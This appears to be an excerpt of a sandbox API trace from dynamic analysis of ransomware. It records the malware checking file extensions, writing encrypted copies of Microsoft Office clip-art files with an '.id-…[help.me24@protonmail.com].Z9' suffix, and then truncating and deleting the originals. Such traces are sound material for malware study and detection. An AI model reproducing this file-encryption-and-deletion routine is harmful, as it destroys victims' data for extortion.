	[0096.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.416] lstrlenW (lpString=".rar") returned 4
	[0096.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString=".bz2") returned 4
	[0096.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString=".7z") returned 3
	[0096.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.416] lstrlenW (lpString=".dbf") returned 4
	[0096.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.416] lstrlenW (lpString=".1cd") returned 4
	[0096.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0096.417] lstrlenW (lpString=".jpg") returned 4
	[0096.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.417] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.417] lstrlenW (lpString="J0090149.WMF") returned 12
	[0096.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.417] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=28212) returned 1
	[0096.417] CloseHandle (hObject=0x2bc) returned 1
	[0096.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220
	[0096.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0096.417] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.417] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0096.418] GetLastError () returned 0x0
	[0096.418] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x6e34, lpOverlapped=0x0) returned 1
	[0096.857] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6e40, lpOverlapped=0x0) returned 1
	[0097.351] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.351] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.351] SetEndOfFile (hFile=0x398) returned 1
	[0097.351] CloseHandle (hObject=0x398) returned 1
	[0097.351] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.351] SetEndOfFile (hFile=0x2bc) returned 1
	[0097.352] CloseHandle (hObject=0x2bc) returned 1
	[0097.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1
	[0097.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.353] lstrlenW (lpString=".doc") returned 4
	[0097.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString=".docx") returned 5
	[0097.353] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0097.353] lstrlenW (lpString=".pdf") returned 4
	[0097.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString=".xls") returned 4
	[0097.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.353] lstrlenW (lpString=".xlsx") returned 5
	[0097.353] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0097.353] lstrlenW (lpString=".ppt") returned 4
	[0097.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.353] lstrlenW (lpString=".zip") returned 4
	[0097.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.353] lstrlenW (lpString=".rar") returned 4
	[0097.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString=".bz2") returned 4
	[0097.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString=".7z") returned 3
	[0097.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.353] lstrlenW (lpString=".dbf") returned 4
	[0097.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.353] lstrlenW (lpString=".1cd") returned 4
	[0097.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.353] lstrlenW (lpString=".jpg") returned 4
	[0097.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.353] lstrlenW (lpString=".doc") returned 4
	[0097.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.353] lstrlenW (lpString=".docx") returned 5
	[0097.354] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0097.354] lstrlenW (lpString=".pdf") returned 4
	[0097.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.354] lstrlenW (lpString=".xls") returned 4
	[0097.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.354] lstrlenW (lpString=".xlsx") returned 5
	[0097.354] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0097.354] lstrlenW (lpString=".ppt") returned 4
	[0097.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.354] lstrlenW (lpString=".zip") returned 4
	[0097.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.354] lstrlenW (lpString=".rar") returned 4
	[0097.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.354] lstrlenW (lpString=".bz2") returned 4
	[0097.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.354] lstrlenW (lpString=".7z") returned 3
	[0097.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.354] lstrlenW (lpString=".dbf") returned 4
	[0097.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.354] lstrlenW (lpString=".1cd") returned 4
	[0097.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0097.354] lstrlenW (lpString=".jpg") returned 4
	[0097.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.354] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.354] lstrlenW (lpString="J0099162.JPG") returned 12
	[0097.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.355] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19656) returned 1
	[0097.355] CloseHandle (hObject=0x2bc) returned 1
	[0097.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220
	[0097.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.355] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.355] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0097.356] GetLastError () returned 0x0
	[0097.356] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x4cc8, lpOverlapped=0x0) returned 1
	[0097.389] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0097.390] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.390] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.390] SetEndOfFile (hFile=0x398) returned 1
	[0097.391] CloseHandle (hObject=0x398) returned 1
	[0097.391] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.391] SetEndOfFile (hFile=0x2bc) returned 1
	[0097.392] CloseHandle (hObject=0x2bc) returned 1
	[0097.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0097.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.392] lstrlenW (lpString=".doc") returned 4
	[0097.392] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.392] lstrlenW (lpString=".docx") returned 5
	[0097.392] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0097.392] lstrlenW (lpString=".pdf") returned 4
	[0097.392] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.392] lstrlenW (lpString=".xls") returned 4
	[0097.392] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.392] lstrlenW (lpString=".xlsx") returned 5
	[0097.392] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0097.393] lstrlenW (lpString=".ppt") returned 4
	[0097.393] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.393] lstrlenW (lpString=".zip") returned 4
	[0097.393] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.393] lstrlenW (lpString=".rar") returned 4
	[0097.393] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.393] lstrlenW (lpString=".bz2") returned 4
	[0097.393] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.393] lstrlenW (lpString=".7z") returned 3
	[0097.393] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.393] lstrlenW (lpString=".dbf") returned 4
	[0097.393] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.393] lstrlenW (lpString=".1cd") returned 4
	[0097.393] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.393] lstrlenW (lpString=".jpg") returned 4
	[0097.393] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.393] lstrlenW (lpString=".doc") returned 4
	[0097.393] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.393] lstrlenW (lpString=".docx") returned 5
	[0097.393] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0097.393] lstrlenW (lpString=".pdf") returned 4
	[0097.393] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.393] lstrlenW (lpString=".xls") returned 4
	[0097.393] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.393] lstrlenW (lpString=".xlsx") returned 5
	[0097.393] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0097.393] lstrlenW (lpString=".ppt") returned 4
	[0097.393] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.393] lstrlenW (lpString=".zip") returned 4
	[0097.394] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.394] lstrlenW (lpString=".rar") returned 4
	[0097.394] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.394] lstrlenW (lpString=".bz2") returned 4
	[0097.394] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.394] lstrlenW (lpString=".7z") returned 3
	[0097.394] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.394] lstrlenW (lpString=".dbf") returned 4
	[0097.394] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.394] lstrlenW (lpString=".1cd") returned 4
	[0097.394] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0097.394] lstrlenW (lpString=".jpg") returned 4
	[0097.394] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.394] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0097.394] lstrlenW (lpString="J0099163.WMF") returned 12
	[0097.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.395] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22356) returned 1
	[0097.395] CloseHandle (hObject=0x2bc) returned 1
	[0097.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220
	[0097.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0097.395] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.395] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0097.396] GetLastError () returned 0x0
	[0097.396] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x5754, lpOverlapped=0x0) returned 1
	[0097.446] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5760, lpOverlapped=0x0) returned 1
	[0097.447] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.447] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.447] SetEndOfFile (hFile=0x398) returned 1
	[0097.447] CloseHandle (hObject=0x398) returned 1
	[0097.447] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.447] SetEndOfFile (hFile=0x2bc) returned 1
	[0097.448] CloseHandle (hObject=0x2bc) returned 1
	[0097.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0097.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.449] lstrlenW (lpString=".doc") returned 4
	[0097.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.449] lstrlenW (lpString=".docx") returned 5
	[0097.449] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0097.449] lstrlenW (lpString=".pdf") returned 4
	[0097.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.449] lstrlenW (lpString=".xls") returned 4
	[0097.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.449] lstrlenW (lpString=".xlsx") returned 5
	[0097.449] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0097.449] lstrlenW (lpString=".ppt") returned 4
	[0097.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.449] lstrlenW (lpString=".zip") returned 4
	[0097.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.449] lstrlenW (lpString=".rar") returned 4
	[0097.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.449] lstrlenW (lpString=".bz2") returned 4
	[0097.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.449] lstrlenW (lpString=".7z") returned 3
	[0097.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.449] lstrlenW (lpString=".dbf") returned 4
	[0097.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.449] lstrlenW (lpString=".1cd") returned 4
	[0097.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.450] lstrlenW (lpString=".jpg") returned 4
	[0097.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0097.450] lstrlenW (lpString=".doc") returned 4
	[0097.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.450] lstrlenW (lpString=".docx") returned 5
	[0097.450] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0097.450] lstrlenW (lpString=".pdf") returned 4
	[0097.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.450] lstrlenW (lpString=".xls") returned 4
	[0097.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.450] lstrlenW (lpString=".xlsx") returned 5
	[0097.450] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0097.450] lstrlenW (lpString=".ppt") returned 4
	[0097.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
